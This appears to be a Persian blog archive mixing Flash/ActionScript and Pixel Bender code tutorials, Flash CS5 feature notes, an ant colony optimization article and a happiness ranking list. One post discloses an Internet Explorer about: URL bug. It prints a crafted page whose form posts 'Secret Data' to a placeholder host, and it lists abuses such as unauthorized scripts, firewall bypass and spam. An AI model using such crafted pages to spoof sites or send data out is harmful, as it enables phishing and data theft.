stage.nativeWindow.close(); var nwOptions:NativeWindowInitOptions = new NativeWindowInitOptions(); nwOptions.type = NativeWindowType.UTILITY; nwOptions.systemChrome = NativeWindowSystemChrome.NONE; nwOptions.transparent = true; var newWindow:NativeWindow = new NativeWindow(nwOptions); newWindow.stage.align = stage.align; newWindow.stage.scaleMode = stage.scaleMode; newWindow.stage.stageWidth = stage.stageWidth; newWindow.stage.stageHeight = stage.stageHeight; for (var i:int = 0; i < stage.numChildren; i++) { newWindow.stage.addChild(stage.getChildAt(i)); } newWindow.activate();
import flash.display.*; import flash.events.*; import flash.filters.*; var loader:URLLoader; var shader:Shader; var filter:ShaderFilter; slider_gp.visible = false; slider_r.visible = false; slider_g.visible = false; slider_b.visible = false; slider_gp.addEventListener(Event.CHANGE, onSlider); slider_r.addEventListener(Event.CHANGE, onSlider); slider_g.addEventListener(Event.CHANGE, onSlider); slider_b.addEventListener(Event.CHANGE, onSlider); loader = new URLLoader(); loader.dataFormat = URLLoaderDataFormat.BINARY; loader.addEventListener(Event.COMPLETE, onComplete); loader.load(new URLRequest("msh_FiltRGB.pbj")); function onComplete(e:Event) { shader = new Shader(loader.data); slider_gp.visible = true; slider_r.visible = true; slider_g.visible = true; slider_b.visible = true; } function onSlider(e:Event) { shader.data.grayPercent.value = [slider_gp.value]; shader.data.red.value = [slider_r.value]; shader.data.green.value = [slider_g.value]; shader.data.blue.value = [slider_b.value]; filter = new ShaderFilter(shader); img.filters = [filter]; }
<languageVersion : 1.0;> kernel FiltRGB < namespace : "com.mshams"; vendor : "www.mshams.ir"; version : 1; description : "first test."; > { input image4 src; output pixel4 dst; void evaluatePixel() { } }
parameter datatype paramName < minValue: n; maxValue: n; defaultValue: n; >;
parameter float red < minValue:1.0; maxValue:255.0; defaultValue:1.0; >; parameter float green < minValue:1.0; maxValue:255.0; defaultValue:1.0; >; parameter float blue < minValue:1.0; maxValue:255.0; defaultValue:1.0; >; parameter float grayPercent < minValue:0.0; maxValue:100.0; defaultValue:0.0; >;
pixel4 p = sampleNearest(src, outCoord()); float sum = (p.r * red + p.g * green + p.b * blue) / 3.0; float gp = sum * grayPercent / 100.0; p.r = p.r * red * (100.0 - grayPercent) /100.0 + gp; p.g = p.g * green * (100.0 - grayPercent) /100.0 + gp; p.b = p.b * blue * (100.0 - grayPercent) /100.0 + gp; dst = p;
<languageVersion : 1.0;> kernel NewFilterName < namespace : "Your Namespace"; vendor : "Your Vendor"; version : 1; description : "your description"; > { input image4 src; output pixel4 dst; void evaluatePixel() { dst = sampleNearest(src,outCoord()); } }
در هر صورت ایجاد یک چنین ارتباطی (عبور از دروازه زمان) در دو مرحله انجام میشود.
مرحله اول: ایجاد Server و ساخت LocalConnection در ActionScript 2
با استفاده از کلاس LocalConnection یک ارتباط محلی ایجاد کرده و نامی برای آن تعیین مینماییم. سپس دستورات مورد نیاز برای استفاده از کامپوننت یا فایل قدیمی را طراحی نموده و به صورت توابعی در ارتباط محلی قرار میدهیم:
var bridge:LocalConnection = new LocalConnection();
bridge.connect("ConnectionMutex");
bridge.command1 = function( param1, param2 ) {
// Receive parameters from AS3
// Send parameters to AS2
}
bridge.command2 = function( param1, param2 ) {
// Receive parameters from AS3
// Send parameters to AS2
}
مرحله دوم: ایجاد Client و فراخوانی دستورات در ActionScript 3
از آنجا که هدف ما از ایجاد این ارتباط، طراحی یک پروژه واحد بود، بهترین کار این است که ابتدا، فایل تولید شده در مرحله قبل را بارگذاری نموده و سپس به ایجاد ارتباط بپردازیم.
var bridgeLoader:Loader = new Loader();
var ready:Boolean = false;
bridgeLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, completeHandler);
function completeHandler(e:Event) {
trace("Loaded. ");
ready = true;
}
if (ready) {
var bridge:LocalConnection=new LocalConnection();
bridge.addEventListener(StatusEvent.STATUS, errHandler);
function errHandler(e:StatusEvent) {
trace(e.level);
}
bridge.send("ConnectionMutex", "command1 ", param1Value, param2Value);
bridge.send("ConnectionMutex", "command2 ", param1Value, param2Value);
}
if (root.loaderInfo.url.indexOf("http:") < 0) {
trace("illegal use");
}
function f(...n:Array) { n.push(n[n.length-1].toString()); n.sort(); trace(n); }
Call: f(3, undefined, Object, 1, int, 2, void, "4", NaN, 0xff); Output: 1, 2, 255, 255, 3, 4, NaN, [class Object], [class int], ,
function f(...n:Array):Function { trace(">", n); return f; }
> 3 > 5 > 4, function Function() {} > 1, 2, function Function() {} > 6, 7 > function Function() {}, 8 > 9, 10
function f(...n:Array):Function { trace("=",n); return f; } function a(...n:Array):Function { trace("==",n); if (n[0] == "function Function() {}") { n[0](1)(2); } return a; } Call: a( a(1, 2), 3) ( f(1, 2, f(3) (4) ));
= 1, 2 = function Function() {}, 3 = 1 = 2 == 3 == 4 == 1, 2, function Function() {} = function Function() {} == 1 == 2
یکی از مشکلات مهم و قابل توجهای که در اکشن اسکریپت 2، موجب بروز سختیهایی در طراحی کلیپها میشد، عدم وجود یک Timer مستقل و انعطافپذیر و نیاز به استفاده از Interval ها بود.
این مشکل با ارائه کلاس مستقل تایمر (flash.util.Timer) در FlashPlayer 9 و با استفاده از AS3 حل شده است. با استفاده از این کلاس به سادگی میتوان زمان اجرای دستورات را زمانبندی نمود. منظور از زمانبندی این است که میتوان تعداد دفعات اجرا، بازه زمانی بین دفعات، زمان شروع و غیره را به سادگی مشخص کرد.
برای استفاده از این کلاس، کافی است که یک شئ از نوع آن تعریف نموده و سپس در متد سازنده آن، میزان تاخیر و تعداد دفعات اجرای مورد نیاز را مشخص نمود. پس از تعریف شئ، باید با استفاده از متد start تایمر را اجرا نمود.
به عنوان مثال:
import flash.utils.Timer;
import flash.events.TimerEvent;
var t:Timer = new Timer(2000,20);
t.start();
t.addEventListener(TimerEvent.TIMER,timTrig);
t.addEventListener(TimerEvent.TIMER_COMPLETE,timComp);
function timTrig(e:TimerEvent) {
trace("Trigger");
}
function timComp(e:TimerEvent) {
trace("Finish");
}
رویدادهای موجود برای این شئ، timer و timerComplete هستند که از اولی برای اجرای دستورات زمانبندی شده استفاده شده و دومی نیز در پایان اجرای تعداد دفعات مشخص شده، فعال خواهد شد.
خصوصیات مورد توجه آن هم delay و currentCount هستند. delay همان اندازه تاخیر بین دفعات اجراست که در زمان اجرا نیز قابل تغییر است. currentCount هم تعداد دفعاتی که تا کنون تایمر اجرا شده است را نشان خواهد داد.
یکی از موارد مورد علاقه من برای استفاده از شئ تایمر، نمایش جلوهها و افکتها به صورت تصادفی است. برای انجام این کار، کافی است مقدار delay تایمر را در زمان اجرای آن به مقداری تصادفی در بازه مورد نیاز تغییر دهید.
به عنوان مثال، اگر MyEff_mc یک Movieclip حاوی جلو مورد نظر و واقع بر روی Timeline اصلی باشد، برای اجرای تصادفی آن به صورت زیر عمل میشود:
import flash.utils.Timer;
import flash.events.TimerEvent;
var t:Timer = new Timer(5000,20);
t.start();
t.addEventListener(TimerEvent.TIMER,timTrig);
t.addEventListener(TimerEvent.TIMER_COMPLETE,timComp);
function timTrig(e:TimerEvent) {
trace("Delay:",e.currentTarget.delay);
e.currentTarget.delay = Math.floor(2500 + Math.random() * 5000);
Object(root).MyEff_mc.gotoAndPlay(1);
}
function timComp(e:TimerEvent) {
trace("Finish");
}
- کار با تمام منوها و پانلها سادهتر و سریعتر شده است. چرا که تمام editbox ها دارای قابلیت scroll و tick هستند و اندازه بعضی از کادرهای مزاحم کوچکتر شده است.
- پانل رنگها توسعه پیدا کرده و قابلیت کار به صورت HSB به آن اضافه شده است.
- ابزار Deco کاملا متحول شده و امکانات بسیار زیادی به آن اضافه شده است. برخی از روشهای ترسیم جالبی که هم اکنون با استفاده از Deco tool قابل دسترس هستند به شرح زیر است:
- با اضافه شدن قابلیت Spring به Bone System (قابلیت اتصال و استخوان بندی اشیاء)، میتوان حرکات فنری مانند، به اشیاء متصل به یکدیگر اعمال نمود.
- قابلیتText Layout Framework یا TLF امکان نوشتن متن پویا و ایستا، با استفاده از هر قلم یونیکد دلخواهی که Embed شده باشد را فراهم کرده است. با استفاده از آن به راحتی میتوان متنهای فارسی را به صورت RTL تایپ نمود. با اضافه شدن این تکنولوژی بسیار مفید، دیگر هیچ نیازی به کامپوننتهای فارسیساز فلش نیست.
ضمنا ابزارهای متنی قبلی (Static text و Dynamic text) هم هنوز تحت عنوان Classic Text قابل استفاده هستند. از نکات قابل توجه در مورد تایپ فارسی با این ابزار، این است که با هر قلمی که در برنامه Word بتوان نوشت، در این ابزار هم میتوان نوشت. (پس هیچ نگرانی در مورد فونتهای غیر استاندارد فارسی نداشته باشید)
- پانلهای جدیدی حاوی امکاناتی کامل، برای کار با متن و ستونبندی و کادر بندی آن اضافه شده است. (مانند InDesign) حتی میتوان textbox های جدا از هم را به گونهای به یکدیگر link نمود که، ادامه متن یکی، در دیگری نمایش داده شود.
- بالاخره امکان CodeHint برای لیست دستورات، اضافه شد. با استفاده از این قابلیت، در حین کدنویسی با ActionScript، تقریبا احساس مشابهی مانند کار در محیط VS.Net پیدا خواهید کرد.
- پانل CodeSnippets دارای قطعه کدهای آماده بسیار زیادی است که تنها با انتخاب یک MovieClip و دابلکلیک بر روی کد مربوطه، کد عملیات مورد نظر را در پانل Action، اضافه میکند. همچنین با وجود قابلیت اضافه کردن کدهای دلخواه، میتوانید پس از مدتی کتابخانه کاملی از تمام کدهای مورد علاقه خود جمعآوری نمایید.
- روش نمایش error ها تغییر کرده و دقیقتر شده است. (حداقل، پس از نوشتن کدی که به روشنی، غلط است، پیام خطای احمقانهای در کنسول دریافت نمیکنید)
- امکانات Debug توسعه پیدا کرده، اما هنوز به اندازه یک محیط توسعه واقعی، دلچسب نیست. در نتیجه همچنان کدنویسی با ActionScript به درد برنامهنویسان مبتدی نخواهد خورد. (یکی از مهمترین دلایل عدم علاقه بسیاری از برنامهنویسان به تکنولوژی فلش و مشتقات آن (مثلا AIR) ضعف عمده آنها در نوشتن کدهای صحیح و نیاز به debug پیدرپی است)
- قابلیتهای جدیدی برای Export و Import به محصولات دیگر Adobe.
- امکان تعریف CuePiont های متعدد برای ویدئوهای import شده و پرش به آنها با استفاده از AS.
- اضافه شدن یک extension بسیار مفید به نام Adobe Kuler برای کار با انواع رنگها، با قابلیتهایی مانند تعیین رنگهای سرد و گرم، مکمل، متضاد و غیره.
پ.ن: متاسفانه نسخه CS5 ای که اکنون منتشر شده است، فاقد مجموعه فایلهای Help بوده و فقط از قابلیت راهنمای CS Live پشتیبانی میکند. برای حل این مشکل میتوانید مجموعه فایلهای راهنما را از CS4 به مسیر مربوطه در CS5 منتقل کنید.
about:<body
bgcolor=#C5EBEB><h1>Hello my friend,<h2><a href= "http://www.mshams.ir">mshams.ir </a></body>
about:<form name="xform" enctype="multipart/form-data" method="POST"
action="http://mail.php"><input type="text" name="add"
size="40" value="Secret Data"><input type="text"
name="abc" size="40" value="***"><input
type="submit" value="Submit"></form>
همانطور که میبینید با استفاده از این باگ، هر صفحهای با هر محتوایی را میتوان به صورت داینامیک (OnTheFly) در IE درست کرد. (البته اندازه متن ورودی در پنجره RUN دارای محدودیتی است که به سادگی قابل عبور میباشد)
لازم به ذکر نیست که با استفاده از چنین باگی به سادگی میتوان مشکلاتی جدی برای IE و امنیت کاربران به وجود آورد. شخصا میتوانم کاربردهایی برای ایجاد BOF، اجرای انواع Script های غیر مجاز، ارسال اطلاعات با عبور از دیوار آتش، Spamming و ... برای این باگ متصور شوم.
بخش جالب داستان اینجاست که این باگ در ویندوز ویستا هم که ادعای امنیت آن گوش کاربران را کر کرده، وجود داشته و با استفاده از آن به راحتی میتوان Windows Defender، UAC،Windows Firewall و مابقی اهالی را حسابی شرمنده کرد.
پ.ن: از اینکه آیا این مشکل امنیتی در ویندوز هفت برطرف شده است یا خیر اطلاعی ندارم، اما با استناد به دو پاراگراف اول این نوشته، میتوان فرض کرد که هنوز برطرف نشده است.
پ.ن: تا کنون با تعدادی از این قبیل مشکلات امنیتی که همچنان در ویندوز ویستا، خودنمایی میکنند روبرو شدهام که احتمالا در آینده مطالبی در مورد آنها خواهم نگاشت.
مقدمه :
استفاده از الگوریتمهای ابتکاری در حل مسئله بهینهسازی امری ضروری و اجتنابناپذیر است. این روش از توانایی مورچهها در پیدا کردن کوتاهترین مسیر بین لانه و یک منبع غذایی الهام گرفته است. وقتی مورچهها در محیط اطراف حرکت مینمایند، اثری شیمیایی به نام فرومون از خود بجای میگذارند. وقتی جمعیتی از مورچهها از چند مسیر بین لانه و یک منبع غذایی حرکت میکنند، پس از مدت زمان معینی مشاهده میشود که در مسیرهای متفاوت، فرومونهای برجای گذاشته شده متفاوت میباشد. این امر ناشی از این واقعیت است که مورچههایی که در مسیر کوتاه حرکت میکنند، به علت کوتاهتر بودن مسیر در یک مدت زمان معینتردد بیشتری داشتهاند چون مورچهها، مسیر کوتاهتر را انتخاب کردهاند. با استفاده از روش مورچهها، روش جستجوئی پیادهسازی میشود که در هر مرحلهای از اطلاعات مراحل قبلی برای رسیدن به هدف استفاده میگردد.
تاریخچه الگوریتم مورچگان :
بهکارگیری سیستم مورچگان اولین بار (الگوریتم مورچگان) توسط Dorgio و همکاران . به
عنوان یک نگرش با چندین عامل برای حل مسائل بهینهسازی ترکیبی یا راهحل
چندعامله (multi Agent) مشکل، مانند مسئله فروشنده دوره گرد یا (TSP) (Traveling Sales Person)
و مسئله تخصیص منابع یا QAP
پیشنهاد و ارائه شد.
الگوریتم بهینه سازی کلونی مورچه ها یا Ant Colony
Optimization و یا به اختصار ACO، که در سال 1992 توسط مارکو دوریگو و در رساله دکتری وی مطرح شد، یکی از بارزترین نمونه ها برای روش های هوش جمعی است. این الگوریتم از روی رفتار جمعی مورچه ها الهام گرفته شده است. مورچه ها با همکاری یکدیگر، کوتاه ترین مسیر را میان لانه و منابع غذایی پیدا می کنند تا بتوانند در کمترین زمان مواد غذایی را به لانه منتقل کنند. هر کدام از مورچه ها، به تنهایی قادر به انجام چنین کاری نیستند
اما با همکاری و پیروی از چند اصل ساده، بهترین راه را پیدا می کنند.
به عنوان مثال، عملکرد مورچه های آرژانتینی در یافتن کوتاه ترین مسیر بین لانه و منبع غذایی، بسیار عجیب و حیرت انگیز است. مورچه آرژانتینی عملا کور است و طبعا کوتاه ترین مسیر برای او مفهومی ندارد و توسط او قابل شناخت نمی باشد. اما با وجود چنین کمبودی، توده ای از این مورچه ها می توانند با همکاری یکدیگر، کوتاه ترین مسیر موجود بین لانه و محل مواد غذایی را پیدا کنند. این الگوریتم برای حل مسائلی که به صورت پیدا کردن کوتاه ترین مسیر در یک گراف قابل بیان هستند، طراحی شده است.
الگوریتم بهینه سازی کلونی مورچه ها یا ACO، از رفتار مورچه های
طبیعی که در مجموعه ها بزرگ در کنار هم زندگی می کنند الهام گرفته شده است.
الگوریتم های دیگری نیز بر اساس الگوریتم مورچه ها ساخته شده اند که همگی سیستم
های چند عاملی هستند و عامل ها مورچه های مصنوعی یا به اختصار مورچه هایی هستند که
مشابه با مورچه های واقعی رفتار می کنند. الگوریتم مورچه ها، یک مثال بارز از هوش
جمعی هستند که در آن عامل هایی که قابلیت چندان بالایی ندارند، در کنار هم و با
همکاری یکدیگر می توانند نتایج بسیار خوبی به دست بیاورند. این الگوریتم برای حل و
بررسی محدوده وسیعی از مسائل بهینه سازی به کار برده شده است
1. اجتماعی بودن:
مطالعات نشان داده است که مورچهها حشراتی اجتماعی هستند که در کلونیها زندگی میکنند و رفتار آنها بیشتر در جهت بقاء کلونی است تا در جهت بقاء یک جزء از آن .
در دنیای واقعی مورچهها ابتدا به طور تصادفی به این سو و آن سو میروند تا غذا بیابند. سپس به لانه بر میگردند و ردّی
از فرومون (Pheromone) به جا می گذارند. چنین ردهایی پس از باران به رنگ سفید در میآیند و قابل رویت اند. مورچههای دیگر وقتی این مسیر را مییابند، گاه پرسه زدن را رها کرده و آن را دنبال میکنند. سپس اگر به غذا برسند به خانه بر میگردند و رد دیگری از خود در کنار رد قبل می گذارند؛ و به عبارتی مسیر قبل را تقویت میکنند. فرومون به مرور تبخیر میشود که از سه جهت مفید است:
باعث میشود مسیر جذابیت کمتری برای مورچههای بعدی داشته باشد. از آنجا که یک مورچه در زمان دراز راههای کوتاهتر را بیش تر میپیماید و تقویت میکند هر راهی بین خانه و غذا که کوتاهتر(بهتر) باشد بیشتر تقویت میشود و آنکه دورتر است کمتر.
اگر فرومون اصلاً تبخیر نمیشد، مسیرهایی که چند بار طی میشدند، چنان بیش از حد جذّاب میشدند که جستجوی تصادفی برای غذا را بسیار محدود میکردند.
وقتی غذای انتهای یک مسیر جذاب تمام میشد رد باقی می ماند.لذا وقتی یک مورچه مسیر کوتاهی (خوبی) را از خانه تا غذا بیابد بقیهٔ مورچهها به احتمال زیادی همان مسیر را دنبال میکنند و با تقویت مداوم آن مسیر و تبخیر ردهای دیگر،
به مرور همهٔ مورچهها هم مسیر میشوند. هدف الگوریتم مورچهها تقلید این رفتار توسط مورچههایی مصنوعی ست که روی نمودار در حال حرکت اند. مساله یافتن کوتاهترین مسیر است و حلالش این مورچههای مصنوعی اند
Emergent Intelligence
2. هوشمندی تودهای: هوش جمعی (swarmIntelligence)
مورچهها با وجود کور و کمهوش بودن کوتاهترین مسیر رفت و
برگشت از خانه تا غذا را پیدا میکنند. این یکی از مهمترین و جالبترین رفتار مورچهها
میباشد که این نوع رفتار مورچهها دارای نوعی هوشمندی تودهای است که عناصر
رفتاری تصادفی(احتمال) دارند و بین آنها (همدیگر) هیچ نوع ارتباط مستقیمی وجود
ندارد و آنها تنها بصورت غیرمستقیم و با استفاده از نشانهها با یکدیگر در تماس هستند.
مورچهها چگونه کوتاهترین مسیر را انتخاب میکنند؟
مورچهها هنگام راه رفتن از خود ردی از ماده شیمیایی فرومون (pheromone) بجای میگذارند که البته این ماده بزودی تبخیر میشود ولی در کوتاه مدت بعنوان رد مورچه بر سطح زمین باقی میماند.
یک رفتار پایهای ساده در مورچهها وجود دارد.آنها هنگام انتخاب بین دو مسیر بصورت احتمالاتی (statistical) مسیری را انتخاب میکنند که فرومون بیشتری داشته باشد یا بعبارت دیگر مورچههای
بیشتری قبلاً از آن جا عبور کرده باشند.
مسیریابی با الهام از کلونی مورچه ها
تعاملات محلی ، محدود و ساده اعضای یک دسته و جمعیت با محیط ، منتهی به یک رفتار جمعی هوشمندانه میشوداین تعاملات غالبا غریزی بوده وبدون نظارت انجام می گیرندنتیجه آن غالبا یک رفتار پیچیده و هوشمندانه جمعی و بطورخاص انجام بعضی بهینه سازی های پیچیده است
این نوع هوشمندی هیچ نیازی به کنترل مرکزی و دید کلی نسبت به سیستم ندارد
الگوریتم های مبتنی برآمیزی در حل مسائل بهینه سازی ترکیبی داشته اند
در بر گیرندة تعداد زیادی مورچه است که این ACOمورچه ها در طول گراف حرکت می کنند وکوتاهترین مسیر را پیدا می کنند . مورچه ها ، نوعادانشی درباره اینکه کدام مسیر کوتاه تر است را ندارند بنابراین آنها به تنهایی ، فقط یک مسیر با کیفیت پایین را می توانند پیدا کنند ، ولی هماهنگی سراسری در میان مورچه های یک کولونی باعث می شود که مسیر های بهینه و کوتاه پیدا شوند . رفتار این مورچه ها( مورچه های مصنوعی ) ، از مورچه های واقعی مدل می شود . درجهان واقعی مورچه ها در حین حرکت درطول مسیرشان یک مقدار فرومون را در مسیر از خودبه جای می گذارند . تصمیم گیری حرکت مورچه دریک مسیر بر اساس غلظت فرومون آن مسیر انجام میشود . مورچه ها ترجیح می دهند از مسیری حرکت کنند که مقدار فرومون آن زیاد است . از طرفی مورچه های مصنوعی یکسری خصوصیات گسترده تری دارند
که در مورچه های طبیعی یافت نمی شود . به اینصورت که حرکت آنها معمولا سازگار با عملیات قبلی شان است که در یک ساختار داده ویژه ای ذخیره شده است . این مورچه ها در طول حرکت از یک گره به گره دیگر مقداری فرومون را متناسب با مسیر ازخود به جای می گذارند ، به این صورت که اگر مورچه در حرکت خود از گره مبدأ به گره مقصد مسیر کوتاه ومناسبی را انتخاب کرده باشد ، میانگین توزیع فرومون در آن مسیر زیاد خواهد بود و از طرف دیگر اگر مسیرضعیفی را طی کرده باشد ، مقدار فرومون در طول مسیر کم خواهد بود. در واقع مقدار فرومون باقی مانده در مسیر متناسب با کیفیت مسیر است . به این ترتیب مورچه ها در یک گراف ، کوتاهترین مسیر ها را پیدا می کنند ویژگیهای الگوریتم مورچگان :
این الگوریتم مورچگان:
1. چندمنظوره می باشد
میتواند برای انواع مشابه یک مسأله به کار رود.
2.قوی می باشد
یعنی با کمترین تغییرات برای دیگر مسائل بهینهسازی ترکیبی به کار برده میشود
3.یک روش مبتنی بر جمعیت میباشد. مزیتهای ACO : ایجاد انعطاف در حل هرگونه مسئله بهینهسازی پسخورد مثبت (پسخورد مثبت، منجر به کشف سریع جوابهاب خوب میشود) محاسبات توزیع شده (محاسبات توزیع شده از همگرایی زودرس و
بیموقع جلوگیری میکند) هیوریستیک آزمند سازنده (به کشف جوابهای قابل قبول در مراحل اولیه جستجو کمک میکند).
· کاربردهای الگوریتم مورچگان :
از کاربردهای الگوریتم (ACO) میتوان
به بهینه کردن هر مسئلهای که نیاز به یافتن کوتاهترین مسیر دارد استفاده می شود:
·مسیریابی داخل شهری و بین شهری
·مسیریابی بین پستهای شبکههای توزیع برق ولتاژ بالا
·مسیریابی شبکههای کامپیوتری
· مسیر یابی تامین مواد اولیه جهت تولید به هنگام
·برنامه ریزی دروس دانشگاهی
·توازن بار ترافیک شبکه ومسیریابی مبتنی برمهندسی ترافیک
·کاوش استفاده از وب با استفاده از کلونی مورچه ها
·مسئله زمان بندی حرکت قطار ها
·الگوریتم ی مورچه و کاربرد آن در برنامه ریزی پرواز
·بهینه سازی سکوهای دریا
·استفاده ازالگوریتمهای الهام گرفته از کلونی مورچه ها در مسیریابی شبکه های کامپیوتری
·مسأله راهیابی در شبکه های مخابرات راه دور
v الگوریتم مورچگان و بهرهگیری از مسأله فروشنده
دورهگرد جهت مسألهسازی:
در مسئله فروشنده دورهگرد، یک فروشنده سفر خود
را از یک شهر آغاز کرده و پس از یک سفر کامل دوباره به شهر خودش بازمیگردد و از
هر شهر فقط یکبار عبور میکند ودرضمن باید از همه شهرها عبور نموده و کمترین مسافت
را طی نماید.
قانون 1 :تصمیم گیری
قانون 2 :بروز رسانی
قانون 3 : تبخیر
از کابردهای این الگوریتم، رسیدن به راه حل تقریباً بهینه در مسئله فروشنده دورهگرد است. به طوری که انواع الگوریتم مورچهها برای حل این مساله تهیه شده. زیرا این روش عددی نسبت به روشهای تحلیلی و genetic در مواردی که نمودار مدام با زمان تغییر کند یک مزیت دارد؛ و آن این که الگوریتمی ست با قابلیت تکرار. و لذا با گذر زمان میتواند جواب را به طورزنده تغییر دهد. که این خاصیت در روتینگ شبکههای کامپیوتری و سامانه حمل و نقل شهری مهم است.
مساله فروشنده دوره گرد
الگوریتم
پروسه پیدا کردن کوتاهترین مسیر توسط مورچه ها، ویژگیهای بسیار جالبی دارد، اول از همه قابلیت
تعمیم زیاد و خود- سازمانده بودن آن است. در ضمن هیچ مکانیزم کنترل مرکزی ای وجود
ندارد. ویژگی دوم قدرت زیاد آن است. سیستم شامل تعداد زیادی از عواملی است که به
تنهایی بی اهمیت هستند بنابراین حتی تلفات یک عامل مهم، تاثیر زیادی روی کارآیی
سیستم ندارد. سومین ویژگی این است که، پروسه یک فرآیند تطبیقی است. از آنجا که
رفتار هیچ کدام از مورچهها معین نیست و تعدادی از مورچهها همچنان مسیر طولانی تر
را انتخاب میکنند، سیستم می تواند خود را با تغییرات محیط منطبق کند و ویژگی آخر
اینکه این پروسه قابل توسعه است و می تواند به اندازهٔ دلخواه بزرگ شود.
همین ویژگیها الهام بخش طراحی الگوریتم هایی شده اند که در مسائلی که نیازمند این
ویژگیها هستند کاربرد دارند.اولین الگوریتمی که بر این اساس معرفی شد،الگوریتم ABC بود. چند نمونه دیگر از این الگوریتمها عبارتند از: Ant Net،ARA،PERA، Ant Hot Net
· نرمافزارهای کاربردی در این الگوریتم:
در برنامههای کامپیوتری الگوریتم از زبان برنامهنویسی (Borland C ++5.02,C)نیز استفاده میشود
مدلهای ریاضی که دراین الگوریتم استفاده میشود جوابهای آن بااستفاده از نرمافزار LINGO
بدست میآید.
جمعبندی و نتیجهگیری:
روشهای بهینهیابی موجود برای حل مسائل سخت که بطور عمده
شامل تعداد بسیار زیادی متغیر و محدودیت میباشند که از کارآیی عملی آنها در حل
مسائل با ابعاد واقعی میکاهد. بدین علت از الگوریتمهای ابتکاری و فوق ابتکاری هیوریستیک بر مبنای بهینهیابی کلنی مورچگان استفاده نمود.استفاده از الگوریتم لانه مورچه و اقتباس از آن در صنعت برای یافتن کوتاهترین مسیر جهت تأمین بهنگام مواد و قطعات باعث کاهش هزینههای تولید و انبارداری و بهبود بهرهوری میشود . می توان از روی این الگوریتم برای مسائل چندین عامله نمونه سازی کرد ولااقل به جوابی در حد بهینه و در کمترین زمان یافت.
منابع: 1. ح. توحیدی و ح. نظامآبادیپور وس. سریزدی «انتخاب ویژگی با استفاده
از الگوریتم جمعیت مورچگان باینری» هشتمین کنفرانس سیستمهای هوشمند، 1386.
2. م. صفاری و 1. جمالنیا «الگوریتمهای لانه مورچه و کاربرد آن در نگهداری پیشگیرانه» اولین همایش ملی مدیریت صنعتی. 3. م.م. سپهری و ع. جعفری «حل مسأله تأمین بهنگام قطعات موردنیاز سیستمهای تولیدی با استفاده از مدل ریاضی و الگوریتم مورچگان» نشریه دانشکده فنی، اردیبهشت ماه 1383.
4.مقاله ارشد سید صابر ناصر ا سدی دانشکده علم وصنعت ایران
5. مقاله ارشد سید صادق ناصر علوی دانشکده شهید باهنر کرمان 6. کیوان قصیری استاد یار دانشکده راه آهن دانشکده علم وصنعت ایران 7.فهیمه مرشد سلوک کارشناس دانشکده راه آهن دانشکده علم وصنعت ایران 8. سمانه حسینی سمنائی و کامران زمانی فر دانشجوی دکتری دانشکده فنی مهندسی اصفهان(عضو هیئت علمی کامپیوتر) 9. کار تحقیقی محمد نوری ولیلی صدیق عضو ا نجمن علمی 10. علی برادران هاشمی- محمد رضا میبدی - سعید شیری قیدار دانشگاه کامپیوتر امیر کبیر 11. پریسا رحما نی - مهدی داد بخش - ابولفضل طرقی حقیقت
انجمن سیستمهای فازی ایران
ادامه مطلب ...داستان از یک نظر خواهی BBC شروع شد. در این نظر خواهی، آمار نشون داد که ۸۱ ٪ از مردم انگلیس، به جای افزایش ثروت از دولت توقع دارند که زندگی شادتری براشون فراهم کنه.
سئوال اینجا بود که چطور؟ به عنوان اولین قدم، دانشگاه لیسستر، پروژه ای با هدف رتبه بندی کشورها از نظر شادی مردمشون تعریف کرد. نتایج این رتبه بندی و دلایل شادی ملتها خیلی خیلی جالب بود به خصوص ایران! ! !
نتایج رو ببینین:
رتبه ۱
دانمارک
جمعیت ۵/۵ میلیون
شانس زندگی: ۸/۷۷ سال = 77 سال و 8 ماه
درآمد سرانه: ۳۴، ۶۰۰ دلار
سیستم اقتصادی: سوسیالیستی
ویژگی ها:
- بهترین سرویس های دولتی خدمات اجتماعی
- بیمه همگانی با پوشش کامل
- مدارس و دانشگاههای رایگان با کیفیت بسیار بالا
- هویت اجتماعی کاملا مشخص برای جوانان
- طبیعت بکر و معماری شهری زیبا
- آلودگی محیط زیست ناچیز
رتبه ۲
سوئیس
جمعیت ۵/۷ میلیون
شانس زندگی: ۵/۸۰ سال = 80 سال و 5 ماه
درآمد سرانه: ۳۲، ۳۰۰ دلار
سیستم اقتصادی: آزاد
ویژگی ها:
- موقعیت سوق الجیشی کاملا امن
- میزان جرم و جنایت ناچیز
- امکانات شهر نشینی با کیفیت بسیار بالا
- امکان ورزشهای نزدیک به طبیعت مانند کوهنوردی، اسکی و سوارکاری برای همه
- طبیعت بکر و معماری شهری زیبا
- ثبات سیاسی
- سیستم بهداشتی رایگان با سرانه ۳۵۰۰ برای هر نفر
رتبه ۳
اتریش
جمعیت ۲/۸ میلیون
شانس زندگی: ۷۹ سال
درآمد سرانه: ۳۲، ۷۰۰ دلار
سیستم اقتصادی: سوسیالیستی
ویژگی ها:
- خدمات بهداشتی رایگان برای همه با پوشش کامل
- فعالیتهای فرهنگی همگانی و در دسترس
- خلق و خوی آرام مردم و شهرهای ساکت و تمیز
- سیستم حمل و نقل سریع شهری
- مدارس و دانشگاههای مدرن و مجهز و رایگان
- قوانین حفظ محیط زیست محکم
رتبه ۴
ایسلند
جمعیت ۳۰۰ هزار نفر
شانس زندگی: ۸۰ سال
درآمد سرانه: ۳۵، ۷۰۰ دلار
سیستم اقتصادی: سوسیالیستی
ویژگی ها:
- سیستم خدمات خیریه دولتی
- خدمات دولتی رایگان با تنوع زیاد از بهداشت، آموزش، آموزش عالی تا گردش دسته جمعی
- سوبسید (یارانه) مسکن برای همه
- عدم وجود خط فقر در جامعه
- باسوادی همگانی
- عدم وجود بیکاری در جامعه
رتبه ۵
باهاما
جمعیت ۳۱۰، هزار نفر
شانس زندگی: ۶/۶۵ سال
درآمد سرانه: ۲۰، ۲۰۰ دلار
سیستم اقتصادی: آزاد
ویژگی ها:
- کیفیت غذای بالا و ارزانی ارزاق
- آب و هوای بسیار معتدل
- طبیعت بکر
- جمعیت زیر خط فقر: ۱۰٪
- فرهنگ کاری راحت و بی تنش (همون تنبلی خودمون)
- تلفیق فرهنگی مناسب (افریقایی - اروپایی)
- خانواده های محکم و آمار طلاق بسیار پایین (علیرغم آزادی طلاق برای زوجین)
- کلیسای مردمی و متساهل
رتبه ۶: فنلاند
۰ رتبه ۷ : سوئد
رتبه ۸: بوتان (با درآمد سرانه ۱۴۰۰ دلار! ! !)
رتبه ۹
شادترین ملت مسلمان برونئی
جمعیت ۳۸۰ هزار نفر
شانس زندگی: ۷۵ سال
